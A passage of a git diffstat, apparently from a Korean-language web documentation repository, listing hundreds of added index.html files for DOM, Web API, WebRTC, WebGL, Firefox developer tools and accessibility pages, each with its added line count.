.../ko/notable_bugs_fixed_in_firefox_3/index.html | 32 + files/ko/nsicryptohash/index.html | 271 + files/ko/nsiidleservice/index.html | 134 + files/ko/nss/index.html | 64 + files/ko/nss/new_nss_samples/index.html | 37 + files/ko/places/accessing_bookmarks/index.html | 81 + files/ko/places/custom_containers/index.html | 21 + files/ko/places/index.html | 70 + files/ko/places/instantiating_views/index.html | 70 + files/ko/places/query_system/index.html | 173 + files/ko/places/views/index.html | 43 + files/ko/preferences_system/examples/index.html | 32 + files/ko/preferences_system/index.html | 49 + files/ko/pyxpcom/index.html | 62 + files/ko/rdf/index.html | 56 + files/ko/rhino/index.html | 18 + files/ko/sandbox/index.html | 14 + files/ko/scripting_plugins/index.html | 6 + files/ko/spidermonkey/index.html | 67 + files/ko/storage/index.html | 396 + files/ko/svg_improvements_in_firefox_3/index.html | 56 + files/ko/svg_in_firefox/index.html | 845 + files/ko/the_basics_of_web_services/index.html | 35 + files/ko/the_dom_and_javascript/index.html | 115 + files/ko/theme_packaging/index.html | 98 + .../index.html | 132 + files/ko/toolkit_api/index.html | 33 + files/ko/tools/add-ons/dom_inspector/index.html | 16 + files/ko/tools/add-ons/index.html | 17 + files/ko/tools/debugger/index.html | 85 + files/ko/tools/debugger/ui_tour/index.html | 98 + .../index.html" | 10 + files/ko/tools/how_to/index.html | 11 + files/ko/tools/how_to/open_the_debugger/index.html | 24 + files/ko/tools/how_to/search/index.html | 24 + files/ko/tools/how_to/set_a_breakpoint/index.html | 31 + files/ko/tools/index.html | 217 + files/ko/tools/network_monitor/index.html | 63 + files/ko/tools/page_inspector/index.html | 48 + files/ko/tools/page_inspector/ui_tour/index.html | 104 + files/ko/tools/performance/index.html | 94 + files/ko/tools/performance/ui_tour/index.html | 127 + .../firefox_for_android/index.html | 138 + files/ko/tools/remote_debugging/index.html | 31 + files/ko/tools/scratchpad/index.html | 90 + files/ko/tools/web_console/index.html | 37 + files/ko/tools/webide/index.html | 42 + .../index.html" | 115 + .../updating_extensions_for_firefox_2/index.html | 30 + .../updating_extensions_for_firefox_3/index.html | 137 + .../index.html | 38 + .../index.html | 13 + files/ko/using_nsiloginmanager/index.html | 141 + files/ko/using_xpath/index.html | 86 + .../using_xpinstall_to_install_plugins/index.html | 218 + .../index.html | 222 + .../aria/aria_live_regions/index.html | 255 + .../accessibility/aria/aria_techniques/index.html | 213 + .../using_the_aria-label_attribute/index.html | 66 + .../web/accessibility/aria/forms/alerts/index.html | 146 + .../aria/forms/basic_form_hints/index.html | 116 + files/ko/web/accessibility/aria/forms/index.html | 17 + files/ko/web/accessibility/aria/index.html | 131 + .../aria/roles/dialog_role/index.html | 158 + files/ko/web/accessibility/aria/roles/index.html | 78 + files/ko/web/accessibility/index.html | 49 + .../mobile_accessibility_checklist/index.html | 106 + .../accessibility/understanding_wcag/index.html | 59 + .../understanding_wcag/keyboard/index.html | 87 + files/ko/web/api/abortcontroller/abort/index.html | 93 + .../api/abortcontroller/abortcontroller/index.html | 88 + files/ko/web/api/abortcontroller/index.html | 103 + files/ko/web/api/abortcontroller/signal/index.html | 89 + files/ko/web/api/abortsignal/aborted/index.html | 64 + files/ko/web/api/abortsignal/index.html | 107 + .../ko/web/api/abstractrange/collapsed/index.html | 46 + files/ko/web/api/abstractrange/index.html | 199 + files/ko/web/api/abstractworker/index.html | 83 + files/ko/web/api/analysernode/index.html | 164 + files/ko/web/api/angle_instanced_arrays/index.html | 83 + .../api/animationevent/animationevent/index.html | 76 + .../api/animationevent/animationname/index.html | 53 + files/ko/web/api/animationevent/index.html | 78 + .../api/animationtimeline/currenttime/index.html | 102 + files/ko/web/api/animationtimeline/index.html | 56 + .../using_the_audiochannels_api/index.html | 248 + files/ko/web/api/audiobuffer/index.html | 172 + files/ko/web/api/audiobuffersourcenode/index.html | 146 + files/ko/web/api/audiochannelmanager/index.html | 74 + files/ko/web/api/audiochannels_api/index.html | 121 + files/ko/web/api/audiocontext/index.html | 179 + files/ko/web/api/audiodestinationnode/index.html | 142 + files/ko/web/api/audionode/index.html | 185 + files/ko/web/api/audioparam/index.html | 114 + files/ko/web/api/background_tasks_api/index.html | 511 + .../ko/web/api/batterymanager/charging/index.html | 117 + .../web/api/batterymanager/chargingtime/index.html | 74 + .../api/batterymanager/dischargingtime/index.html | 71 + files/ko/web/api/batterymanager/index.html | 74 + files/ko/web/api/biquadfilternode/index.html | 249 + files/ko/web/api/blob/blob/index.html | 59 + files/ko/web/api/blob/index.html | 151 + files/ko/web/api/body/index.html | 97 + files/ko/web/api/body/json/index.html | 73 + files/ko/web/api/broadcastchannel/index.html | 92 + files/ko/web/api/cache/index.html | 148 + files/ko/web/api/cache/put/index.html | 118 + .../canvas/index.html | 69 + .../api/canvascapturemediastreamtrack/index.html | 72 + .../requestframe/index.html | 69 + files/ko/web/api/channel_messaging_api/index.html | 91 + .../using_channel_messaging/index.html | 220 + files/ko/web/api/characterdata/index.html | 97 + files/ko/web/api/childnode/before/index.html | 144 + files/ko/web/api/childnode/index.html | 76 + files/ko/web/api/childnode/remove/index.html | 97 + files/ko/web/api/clients/claim/index.html | 66 + files/ko/web/api/clients/index.html | 102 + files/ko/web/api/clipboard/index.html | 89 + files/ko/web/api/clipboard_api/index.html | 74 + .../api/clipboardevent/clipboarddata/index.html | 51 + files/ko/web/api/clipboardevent/index.html | 67 + files/ko/web/api/comment/index.html | 73 + files/ko/web/api/console/assert/index.html | 99 + files/ko/web/api/console/clear/index.html | 43 + files/ko/web/api/console/count/index.html | 102 + files/ko/web/api/console/countreset/index.html | 108 + files/ko/web/api/console/debug/index.html | 59 + files/ko/web/api/console/error/index.html | 77 + files/ko/web/api/console/group/index.html | 83 + files/ko/web/api/console/index.html | 296 + files/ko/web/api/console/log/index.html | 94 + files/ko/web/api/console/time/index.html | 56 + files/ko/web/api/console/timeend/index.html | 68 + files/ko/web/api/console/trace/index.html | 77 + files/ko/web/api/console/warn/index.html | 70 + files/ko/web/api/console_api/index.html | 76 + files/ko/web/api/crypto/getrandomvalues/index.html | 73 + files/ko/web/api/crypto/index.html | 35 + files/ko/web/api/crypto/subtle/index.html | 36 + files/ko/web/api/css/index.html | 81 + files/ko/web/api/css_object_model/index.html | 189 + files/ko/web/api/cssmediarule/index.html | 70 + files/ko/web/api/cssomstring/index.html | 73 + files/ko/web/api/cssstylesheet/index.html | 139 + files/ko/web/api/customelementregistry/index.html | 94 + .../ko/web/api/customevent/customevent/index.html | 110 + files/ko/web/api/customevent/index.html | 96 + files/ko/web/api/datatransfer/getdata/index.html | 112 + files/ko/web/api/datatransfer/index.html | 137 + files/ko/web/api/document/adoptnode/index.html | 58 + files/ko/web/api/document/alinkcolor/index.html | 26 + files/ko/web/api/document/all/index.html | 49 + files/ko/web/api/document/anchors/index.html | 31 + files/ko/web/api/document/applets/index.html | 30 + files/ko/web/api/document/body/index.html | 74 + files/ko/web/api/document/characterset/index.html | 47 + files/ko/web/api/document/compatmode/index.html | 64 + files/ko/web/api/document/cookie/index.html | 243 + .../api/document/createdocumentfragment/index.html | 134 + files/ko/web/api/document/createelement/index.html | 101 + .../ko/web/api/document/createelementns/index.html | 173 + files/ko/web/api/document/createrange/index.html | 33 + .../ko/web/api/document/createtextnode/index.html | 60 + .../web/api/document/createtreewalker/index.html | 160 + files/ko/web/api/document/defaultview/index.html | 46 + files/ko/web/api/document/designmode/index.html | 50 + files/ko/web/api/document/doctype/index.html | 58 + files/ko/web/api/document/document/index.html | 43 + .../ko/web/api/document/documentelement/index.html | 60 + files/ko/web/api/document/documenturi/index.html | 116 + files/ko/web/api/document/domain/index.html | 91 + files/ko/web/api/document/drag_event/index.html | 183 + files/ko/web/api/document/dragend_event/index.html | 97 + .../ko/web/api/document/dragstart_event/index.html | 90 + files/ko/web/api/document/embeds/index.html | 36 + files/ko/web/api/document/execcommand/index.html | 157 + files/ko/web/api/document/forms/index.html | 77 + .../ko/web/api/document/getelementbyid/index.html | 152 + .../api/document/getelementsbytagname/index.html | 117 + .../api/document/getelementsbytagnamens/index.html | 149 + files/ko/web/api/document/getselection/index.html | 8 + files/ko/web/api/document/hasfocus/index.html | 101 + files/ko/web/api/document/head/index.html | 69 + files/ko/web/api/document/hidden/index.html | 26 + files/ko/web/api/document/images/index.html | 52 + .../ko/web/api/document/implementation/index.html | 55 + files/ko/web/api/document/importnode/index.html | 67 + files/ko/web/api/document/index.html | 480 + files/ko/web/api/document/keydown_event/index.html | 153 + files/ko/web/api/document/keyup_event/index.html | 99 + files/ko/web/api/document/links/index.html | 102 + files/ko/web/api/document/location/index.html | 69 + files/ko/web/api/document/open/index.html | 106 + files/ko/web/api/document/queryselector/index.html | 130 + .../web/api/document/queryselectorall/index.html | 180 + files/ko/web/api/document/readystate/index.html | 125 + .../api/document/readystatechange_event/index.html | 139 + files/ko/web/api/document/referrer/index.html | 23 + files/ko/web/api/document/scroll_event/index.html | 141 + .../ko/web/api/document/stylesheetsets/index.html | 59 + files/ko/web/api/document/url/index.html | 69 + .../api/document/visibilitychange_event/index.html | 72 + .../ko/web/api/document/visibilitystate/index.html | 56 + files/ko/web/api/document/write/index.html | 102 + .../api/document_object_model/events/index.html | 84 + .../api/document_object_model/examples/index.html | 372 + files/ko/web/api/document_object_model/index.html | 350 + .../index.html | 51 + .../using_the_w3c_dom_level_1_core/index.html | 95 + .../\354\206\214\352\260\234/index.html" | 239 + files/ko/web/api/documentfragment/index.html | 139 + .../documentorshadowroot/activeelement/index.html | 94 + files/ko/web/api/documentorshadowroot/index.html | 74 + .../documentorshadowroot/stylesheets/index.html | 57 + files/ko/web/api/documenttype/index.html | 90 + files/ko/web/api/domobject/index.html | 35 + files/ko/web/api/domparser/index.html | 203 + files/ko/web/api/domstring/index.html | 43 + files/ko/web/api/domtokenlist/contains/index.html | 117 + files/ko/web/api/domtokenlist/index.html | 115 + files/ko/web/api/dragevent/index.html | 109 + files/ko/web/api/element/accesskey/index.html | 34 + files/ko/web/api/element/attributes/index.html | 72 + files/ko/web/api/element/classlist/index.html | 285 + files/ko/web/api/element/classname/index.html | 122 + files/ko/web/api/element/click_event/index.html | 227 + files/ko/web/api/element/clientheight/index.html | 70 + files/ko/web/api/element/clientleft/index.html | 66 + files/ko/web/api/element/closest/index.html | 145 + files/ko/web/api/element/currentstyle/index.html | 80 + files/ko/web/api/element/getattribute/index.html | 53 + .../api/element/getelementsbyclassname/index.html | 108 + .../api/element/getelementsbytagname/index.html | 136 + files/ko/web/api/element/id/index.html | 67 + files/ko/web/api/element/index.html | 306 + files/ko/web/api/element/innerhtml/index.html | 204 + .../web/api/element/insertadjacenthtml/index.html | 79 + files/ko/web/api/element/outerhtml/index.html | 119 + .../ko/web/api/element/removeattribute/index.html | 66 + files/ko/web/api/element/scrollheight/index.html | 168 + files/ko/web/api/element/scrollintoview/index.html | 88 + files/ko/web/api/element/tagname/index.html | 62 + .../web/api/element/touchcancel_event/index.html | 116 + files/ko/web/api/encoding_api/index.html | 62 + files/ko/web/api/event/cancelable/index.html | 23 + files/ko/web/api/event/cancelbubble/index.html | 90 + files/ko/web/api/event/createevent/index.html | 29 + files/ko/web/api/event/event/index.html | 77 + files/ko/web/api/event/eventphase/index.html | 179 + files/ko/web/api/event/index.html | 212 + files/ko/web/api/event/istrusted/index.html | 61 + files/ko/web/api/event/preventdefault/index.html | 93 + .../api/event/stopimmediatepropagation/index.html | 91 + files/ko/web/api/event/stoppropagation/index.html | 99 + files/ko/web/api/event/target/index.html | 96 + files/ko/web/api/eventlistener/index.html | 84 + .../ko/web/api/eventsource/eventsource/index.html | 79 + files/ko/web/api/eventsource/index.html | 121 + .../api/eventtarget/addeventlistener/index.html | 690 + .../web/api/eventtarget/dispatchevent/index.html | 79 + .../ko/web/api/eventtarget/eventtarget/index.html | 70 + files/ko/web/api/eventtarget/index.html | 133 + .../api/eventtarget/removeeventlistener/index.html | 211 + .../ko/web/api/fetch_api/basic_concepts/index.html | 66 + .../index.html" | 419 + files/ko/web/api/fetch_api/index.html | 88 + files/ko/web/api/fetchevent/index.html | 110 + files/ko/web/api/fetchevent/respondwith/index.html | 115 + files/ko/web/api/file/file/index.html | 72 + files/ko/web/api/file/index.html | 99 + files/ko/web/api/file/name/index.html | 66 + files/ko/web/api/file/size/index.html | 30 + .../using_files_from_web_applications/index.html | 496 + .../api/file_and_directory_entries_api/index.html | 131 + files/ko/web/api/filelist/index.html | 155 + files/ko/web/api/filereader/index.html | 111 + .../ko/web/api/filereader/loadend_event/index.html | 165 + .../ko/web/api/filereader/readasdataurl/index.html | 171 + files/ko/web/api/filereader/readastext/index.html | 60 + files/ko/web/api/filereader/result/index.html | 33 + files/ko/web/api/formdata/append/index.html | 90 + files/ko/web/api/formdata/delete/index.html | 70 + files/ko/web/api/formdata/entries/index.html | 70 + files/ko/web/api/formdata/formdata/index.html | 92 + files/ko/web/api/formdata/get/index.html | 74 + files/ko/web/api/formdata/getall/index.html | 74 + files/ko/web/api/formdata/has/index.html | 73 + files/ko/web/api/formdata/index.html | 82 + files/ko/web/api/formdata/keys/index.html | 70 + files/ko/web/api/formdata/set/index.html | 79 + files/ko/web/api/formdata/values/index.html | 70 + files/ko/web/api/gamepad_api/index.html | 94 + .../gamepad_api/using_the_gamepad_api/index.html | 342 + files/ko/web/api/geolocation/clearwatch/index.html | 92 + .../api/geolocation/getcurrentposition/index.html | 88 + files/ko/web/api/geolocation/index.html | 70 + .../web/api/geolocation/watchposition/index.html | 99 + files/ko/web/api/geolocation_api/index.html | 97 + files/ko/web/api/geolocationposition/index.html | 62 + files/ko/web/api/globaleventhandlers/index.html | 268 + .../api/globaleventhandlers/onchange/index.html | 73 + .../web/api/globaleventhandlers/onclick/index.html | 89 + .../globaleventhandlers/oncontextmenu/index.html | 103 + .../api/globaleventhandlers/ondblclick/index.html | 70 + .../api/globaleventhandlers/onkeydown/index.html | 60 + .../web/api/globaleventhandlers/onkeyup/index.html | 27 + .../globaleventhandlers/onpointerenter/index.html | 79 + .../api/globaleventhandlers/onscroll/index.html | 98 + .../api/globaleventhandlers/onsubmit/index.html | 70 + .../globaleventhandlers/ontouchstart/index.html | 128 + files/ko/web/api/history/back/index.html | 70 + files/ko/web/api/history/forward/index.html | 69 + files/ko/web/api/history/go/index.html | 82 + files/ko/web/api/history/index.html | 85 + files/ko/web/api/history/length/index.html | 50 + files/ko/web/api/history/pushstate/index.html | 84 + files/ko/web/api/history/replacestate/index.html | 68 + .../web/api/history/scrollrestoration/index.html | 72 + files/ko/web/api/history/state/index.html | 67 + files/ko/web/api/history_api/index.html | 117 + .../drag_operations/index.html" | 343 + .../index.html" | 303 + files/ko/web/api/htmlbrelement/index.html | 64 + .../api/htmlcanvaselement/getcontext/index.html | 144 + files/ko/web/api/htmlcanvaselement/index.html | 242 + files/ko/web/api/htmlcollection/index.html | 96 + files/ko/web/api/htmlcollection/item/index.html | 50 + files/ko/web/api/htmldivelement/index.html | 72 + files/ko/web/api/htmldocument/index.html | 21 + .../web/api/htmlelement/accesskeylabel/index.html | 84 + files/ko/web/api/htmlelement/click/index.html | 47 + .../web/api/htmlelement/contenteditable/index.html | 59 + files/ko/web/api/htmlelement/dataset/index.html | 127 + files/ko/web/api/htmlelement/index.html | 271 + .../ko/web/api/htmlelement/input_event/index.html | 100 + .../ko/web/api/htmlelement/offsetparent/index.html | 43 + files/ko/web/api/htmlelement/outertext/index.html | 33 + files/ko/web/api/htmlelement/style/index.html | 41 + files/ko/web/api/htmlelement/tabindex/index.html | 26 + files/ko/web/api/htmlformelement/index.html | 240 + .../api/htmlhyperlinkelementutils/href/index.html | 51 + .../web/api/htmlhyperlinkelementutils/index.html | 91 + files/ko/web/api/htmllielement/index.html | 77 + .../web/api/htmlmediaelement/autoplay/index.html | 79 + .../api/htmlmediaelement/canplay_event/index.html | 82 + .../canplaythrough_event/index.html | 82 + files/ko/web/api/htmlmediaelement/index.html | 282 + files/ko/web/api/htmloptionelement/index.html | 88 + files/ko/web/api/htmlselectelement/index.html | 166 + .../htmlselectelement/selectedoptions/index.html | 123 + files/ko/web/api/htmlspanelement/index.html | 61 + files/ko/web/api/htmltableelement/index.html | 109 + files/ko/web/api/htmltableelement/width/index.html | 28 + files/ko/web/api/htmltemplateelement/index.html | 58 + files/ko/web/api/htmltitleelement/index.html | 77 + files/ko/web/api/htmlvideoelement/index.html | 117 + .../ko/web/api/idledeadline/didtimeout/index.html | 58 + files/ko/web/api/idledeadline/index.html | 66 + .../imagecapture/getphotocapabilities/index.html | 79 + .../api/imagecapture/getphotosettings/index.html | 86 + files/ko/web/api/imagecapture/grabframe/index.html | 73 + .../web/api/imagecapture/imagecapture/index.html | 67 + files/ko/web/api/imagecapture/index.html | 123 + files/ko/web/api/imagecapture/takephoto/index.html | 82 + files/ko/web/api/imagecapture/track/index.html | 49 + files/ko/web/api/imagedata/index.html | 134 + files/ko/web/api/index.html | 33 + files/ko/web/api/index/index.html | 10 + .../basic_concepts_behind_indexeddb/index.html | 219 + files/ko/web/api/indexeddb_api/index.html | 157 + .../api/indexeddb_api/using_indexeddb/index.html | 1325 ++ .../web/api/intersection_observer_api/index.html | 598 + files/ko/web/api/intersectionobserver/index.html | 97 + .../intersectionobserver/index.html | 87 + .../api/intersectionobserver/observe/index.html | 65 + .../web/api/intersectionobserver/root/index.html | 57 + files/ko/web/api/location/index.html | 112 + files/ko/web/api/location/reload/index.html | 56 + files/ko/web/api/media_streams_api/index.html | 92 + .../api/mediadevices/enumeratedevices/index.html | 88 + .../web/api/mediadevices/getusermedia/index.html | 296 + files/ko/web/api/mediadevices/index.html | 122 + .../api/mediastream_image_capture_api/index.html | 100 + .../mediastreamtrack/applyconstraints/index.html | 91 + files/ko/web/api/mediastreamtrack/clone/index.html | 46 + .../ko/web/api/mediastreamtrack/enabled/index.html | 83 + .../mediastreamtrack/getcapabilities/index.html | 48 + .../api/mediastreamtrack/getconstraints/index.html | 62 + .../api/mediastreamtrack/getsettings/index.html | 49 + files/ko/web/api/mediastreamtrack/id/index.html | 50 + files/ko/web/api/mediastreamtrack/index.html | 135 + files/ko/web/api/mediastreamtrack/kind/index.html | 59 + files/ko/web/api/mediastreamtrack/label/index.html | 54 + files/ko/web/api/mediastreamtrack/muted/index.html | 67 + .../web/api/mediastreamtrack/readystate/index.html | 60 + files/ko/web/api/mediastreamtrack/stop/index.html | 82 + files/ko/web/api/mediatrackconstraints/index.html | 178 + files/ko/web/api/messageevent/index.html | 104 + files/ko/web/api/mouseevent/clientx/index.html | 82 + files/ko/web/api/mouseevent/index.html | 188 + files/ko/web/api/mozmmsevent/index.html | 82 + files/ko/web/api/mozmmsmessage/index.html | 83 + .../ko/web/api/mozmobilemessagemanager/index.html | 101 + files/ko/web/api/mozmobilemessagethread/index.html | 40 + files/ko/web/api/mozsmsevent/index.html | 109 + files/ko/web/api/mozsmsfilter/index.html | 108 + files/ko/web/api/mozsmsmanager/index.html | 95 + files/ko/web/api/mozsmsmessage/index.html | 56 + files/ko/web/api/mozsmssegmentinfo/index.html | 36 + files/ko/web/api/mutationobserver/index.html | 240 + files/ko/web/api/navigator/battery/index.html | 24 + files/ko/web/api/navigator/geolocation/index.html | 50 + files/ko/web/api/navigator/index.html | 137 + files/ko/web/api/navigator/mediadevices/index.html | 56 + .../web/api/navigator/mozmobilemessage/index.html | 58 + .../web/api/navigator/moznotification/index.html | 63 + files/ko/web/api/navigator/mozsms/index.html | 67 + .../navigator/registerprotocolhandler/index.html | 125 + files/ko/web/api/navigator/share/index.html | 68 + files/ko/web/api/navigatorid/index.html | 74 + files/ko/web/api/navigatorlanguage/index.html | 65 + .../web/api/navigatorlanguage/language/index.html | 133 + files/ko/web/api/navigatoronline/index.html | 63 + .../online_and_offline_events/index.html | 107 + .../api/networkinformation/connection/index.html | 105 + files/ko/web/api/networkinformation/index.html | 90 + files/ko/web/api/node/appendchild/index.html | 125 + files/ko/web/api/node/childnodes/index.html | 51 + files/ko/web/api/node/clonenode/index.html | 160 + files/ko/web/api/node/contains/index.html | 105 + files/ko/web/api/node/firstchild/index.html | 67 + files/ko/web/api/node/haschildnodes/index.html | 42 + files/ko/web/api/node/index.html | 263 + files/ko/web/api/node/innertext/index.html | 88 + files/ko/web/api/node/insertbefore/index.html | 167 + files/ko/web/api/node/lastchild/index.html | 25 + files/ko/web/api/node/nextsibling/index.html | 83 + files/ko/web/api/node/normalize/index.html | 56 + files/ko/web/api/node/ownerdocument/index.html | 63 + files/ko/web/api/node/previoussibling/index.html | 42 + files/ko/web/api/node/replacechild/index.html | 71 + files/ko/web/api/node/textcontent/index.html | 111 + files/ko/web/api/nodefilter/index.html | 115 + files/ko/web/api/nodelist/entries/index.html | 70 + files/ko/web/api/nodelist/foreach/index.html | 118 + files/ko/web/api/nodelist/index.html | 153 + files/ko/web/api/nodelist/item/index.html | 44 + files/ko/web/api/nodelist/keys/index.html | 72 + files/ko/web/api/nodelist/length/index.html | 35 + files/ko/web/api/nodelist/values/index.html | 72 + files/ko/web/api/notification/index.html | 493 + .../ko/web/api/notification/permission/index.html | 43 + files/ko/web/api/notifications_api/index.html | 83 + .../web/api/notifyaudioavailableevent/index.html | 32 + .../web/api/offscreencanvas/getcontext/index.html | 117 + files/ko/web/api/offscreencanvas/height/index.html | 63 + files/ko/web/api/offscreencanvas/index.html | 153 + .../api/offscreencanvas/offscreencanvas/index.html | 74 + files/ko/web/api/offscreencanvas/toblob/index.html | 77 + files/ko/web/api/offscreencanvas/width/index.html | 63 + files/ko/web/api/page_visibility_api/index.html | 141 + files/ko/web/api/parentnode/append/index.html | 134 + .../api/parentnode/childelementcount/index.html | 97 + files/ko/web/api/parentnode/children/index.html | 85 + files/ko/web/api/parentnode/index.html | 80 + files/ko/web/api/parentnode/prepend/index.html | 133 + files/ko/web/api/performance/index.html | 138 + files/ko/web/api/performance/mark/index.html | 101 + files/ko/web/api/performance/now/index.html | 99 + files/ko/web/api/performanceentry/index.html | 142 + files/ko/web/api/photocapabilities/index.html | 84 + files/ko/web/api/plugin/index.html | 67 + files/ko/web/api/positionoptions/index.html | 64 + files/ko/web/api/push_api/index.html | 118 + files/ko/web/api/pushmanager/index.html | 111 + files/ko/web/api/pushmessagedata/index.html | 67 + files/ko/web/api/range/index.html | 142 + .../ko/web/api/range/selectnodecontents/index.html | 68 + files/ko/web/api/readablestream/index.html | 105 + files/ko/web/api/request/credentials/index.html | 70 + files/ko/web/api/request/index.html | 293 + files/ko/web/api/request/request/index.html | 214 + files/ko/web/api/rtcconfiguration/index.html | 97 + .../web/api/rtcdatachannelevent/channel/index.html | 63 + files/ko/web/api/rtcdatachannelevent/index.html | 77 + .../rtcdatachannelevent/index.html | 75 + .../web/api/rtcicecandidate/candidate/index.html | 84 + files/ko/web/api/rtcicecandidate/index.html | 90 + files/ko/web/api/rtcicecandidate/tojson/index.html | 49 + .../rtcpeerconnection/addicecandidate/index.html | 148 + .../web/api/rtcpeerconnection/addtrack/index.html | 208 + .../cantrickleicecandidates/index.html | 87 + .../ko/web/api/rtcpeerconnection/close/index.html | 72 + .../rtcpeerconnection/connectionstate/index.html | 111 + .../api/rtcpeerconnection/createanswer/index.html | 96 + .../rtcpeerconnection/createdatachannel/index.html | 146 + .../currentlocaldescription/index.html | 76 + .../currentremotedescription/index.html | 72 + .../generatecertificate/index.html | 69 + .../rtcpeerconnection/getconfiguration/index.html | 78 + .../getidentityassertion/index.html | 60 + .../api/rtcpeerconnection/getreceivers/index.html | 55 + .../api/rtcpeerconnection/getsenders/index.html | 55 + .../rtcpeerconnection/gettransceivers/index.html | 63 + .../rtcpeerconnection/icegatheringstate/index.html | 85 + .../icegatheringstatechange_event/index.html | 102 + files/ko/web/api/rtcpeerconnection/index.html | 356 + .../rtcpeerconnection/localdescription/index.html | 64 + .../onconnectionstatechange/index.html | 65 + .../api/rtcpeerconnection/ondatachannel/index.html | 62 + .../rtcpeerconnection/onicecandidate/index.html | 63 + .../onicegatheringstatechange/index.html | 76 + .../rtcpeerconnection/onidentityresult/index.html | 55 + .../web/api/rtcpeerconnection/ontrack/index.html | 63 + .../api/rtcpeerconnection/removetrack/index.html | 80 + .../api/rtcpeerconnection/restartice/index.html | 80 + .../rtcpeerconnection/rtcpeerconnection/index.html | 59 + .../rtcpeerconnection/setconfiguration/index.html | 99 + .../setidentityprovider/index.html | 66 + .../setlocaldescription/index.html | 125 + .../rtcpeerconnectioniceevent/candidate/index.html | 56 + .../web/api/rtcpeerconnectioniceevent/index.html | 76 + files/ko/web/api/rtcsessiondescription/index.html | 129 + .../web/api/rtcsessiondescription/sdp/index.html | 69 + .../web/api/rtcsessiondescription/type/index.html | 65 + .../web/api/screen.onorientationchange/index.html | 85 + files/ko/web/api/screen/index.html | 76 + files/ko/web/api/screen/lockorientation/index.html | 92 + files/ko/web/api/screen/orientation/index.html | 120 + .../ko/web/api/screen/unlockorientation/index.html | 62 + files/ko/web/api/selection/index.html | 209 + files/ko/web/api/selection/tostring/index.html | 58 + files/ko/web/api/server-sent_events/index.html | 77 + files/ko/web/api/service_worker_api/index.html | 175 + .../using_service_workers/index.html | 521 + files/ko/web/api/serviceworker/index.html | 113 + .../web/api/serviceworker/onstatechange/index.html | 72 + .../serviceworkerglobalscope/clients/index.html | 55 + .../ko/web/api/serviceworkerglobalscope/index.html | 152 + .../notificationclick_event/index.html | 104 + .../skipwaiting/index.html | 71 + .../serviceworkerregistration/active/index.html | 59 + .../web/api/serviceworkerregistration/index.html | 150 + .../installing/index.html | 54 + .../navigationpreload/index.html | 39 + files/ko/web/api/sharedworker/index.html | 105 + files/ko/web/api/storage/index.html | 107 + files/ko/web/api/storage/key/index.html | 74 + files/ko/web/api/storage/length/index.html | 68 + files/ko/web/api/storage/removeitem/index.html | 134 + files/ko/web/api/storageevent/index.html | 79 + files/ko/web/api/streams_api/index.html | 152 + .../streams_api/using_readable_streams/index.html | 317 + .../\354\273\250\354\205\211/index.html" | 115 + files/ko/web/api/stylesheet/index.html | 61 + files/ko/web/api/svgrect/index.html | 90 + files/ko/web/api/text/index.html | 117 + files/ko/web/api/text/splittext/index.html | 95 + files/ko/web/api/text/text/index.html | 55 + files/ko/web/api/touch_events/index.html | 399 + files/ko/web/api/treewalker/currentnode/index.html | 63 + files/ko/web/api/treewalker/index.html | 168 + files/ko/web/api/url/createobjecturl/index.html | 101 + files/ko/web/api/url/hash/index.html | 62 + files/ko/web/api/url/host/index.html | 67 + files/ko/web/api/url/hostname/index.html | 59 + files/ko/web/api/url/href/index.html | 59 + files/ko/web/api/url/index.html | 143 + files/ko/web/api/url/origin/index.html | 61 + files/ko/web/api/url/password/index.html | 61 + files/ko/web/api/url/pathname/index.html | 60 + files/ko/web/api/url/port/index.html | 61 + files/ko/web/api/url/protocol/index.html | 61 + files/ko/web/api/url/revokeobjecturl/index.html | 68 + files/ko/web/api/url/search/index.html | 63 + files/ko/web/api/url/searchparams/index.html | 56 + files/ko/web/api/url/tojson/index.html | 52 + files/ko/web/api/url/tostring/index.html | 59 + files/ko/web/api/url/url/index.html | 107 + files/ko/web/api/url/username/index.html | 61 + files/ko/web/api/urlsearchparams/index.html | 136 + .../ko/web/api/urlsearchparams/tostring/index.html | 78 + .../api/urlsearchparams/urlsearchparams/index.html | 76 + files/ko/web/api/usvstring/index.html | 40 + files/ko/web/api/validitystate/index.html | 83 + files/ko/web/api/vreyeparameters/index.html | 88 + .../basic_concepts_behind_web_audio_api/index.html | 354 + files/ko/web/api/web_audio_api/index.html | 523 + .../web_audio_api/using_web_audio_api/index.html | 238 + files/ko/web/api/web_storage_api/index.html | 117 + .../using_the_web_storage_api/index.html | 218 + .../web/api/web_workers_api/basic_usage/index.html | 908 + files/ko/web/api/web_workers_api/index.html | 92 + .../structured_clone_algorithm/index.html | 153 + .../by_example/clearing_by_clicking/index.html | 110 + .../webgl_api/by_example/detect_webgl/index.html | 72 + .../api/webgl_api/by_example/hello_glsl/index.html | 168 + .../by_example/hello_vertex_attributes/index.html | 181 + files/ko/web/api/webgl_api/by_example/index.html | 83 + .../by_example/scissor_animation/index.html | 166 + .../by_example/simple_color_animation/index.html | 125 + .../by_example/textures_from_code/index.html | 174 + .../api/webgl_api/cross-domain_textures/index.html | 33 + files/ko/web/api/webgl_api/index.html | 255 + .../index.html | 236 + .../animating_objects_with_webgl/index.html | 125 + .../animating_textures_in_webgl/index.html | 117 + .../creating_3d_objects_using_webgl/index.html | 132 + .../tutorial/getting_started_with_webgl/index.html | 100 + files/ko/web/api/webgl_api/tutorial/index.html | 40 + .../tutorial/lighting_in_webgl/index.html | 177 + .../index.html | 98 + .../tutorial/using_textures_in_webgl/index.html | 183 + .../api/webgl_api/webgl_best_practices/index.html | 46 + files/ko/web/api/webglrenderbuffer/index.html | 64 + files/ko/web/api/webglshader/index.html | 171 + files/ko/web/api/webrtc_api/adapter.js/index.html | 40 + files/ko/web/api/webrtc_api/index.html | 225 + files/ko/web/api/webrtc_api/protocols/index.html | 57 + .../signaling_and_video_calling/index.html | 651 + .../api/webrtc_api/using_data_channels/index.html | 95 + files/ko/web/api/websocket/index.html | 248 + files/ko/web/api/websocket/readystate/index.html | 71 + files/ko/web/api/websocket/websocket/index.html | 51 + files/ko/web/api/window/alert/index.html | 71 + .../web/api/window/beforeunload_event/index.html | 105 + .../web/api/window/cancelanimationframe/index.html | 72 + files/ko/web/api/window/closed/index.html | 70 + files/ko/web/api/window/confirm/index.html | 76 + files/ko/web/api/window/console/index.html | 53 + files/ko/web/api/window/crypto/index.html | 75 + files/ko/web/api/window/customelements/index.html | 63 + .../ko/web/api/window/devicepixelratio/index.html | 180 + files/ko/web/api/window/document/index.html | 47 + files/ko/web/api/window/event/index.html | 52 + files/ko/web/api/window/frameelement/index.html | 61 + 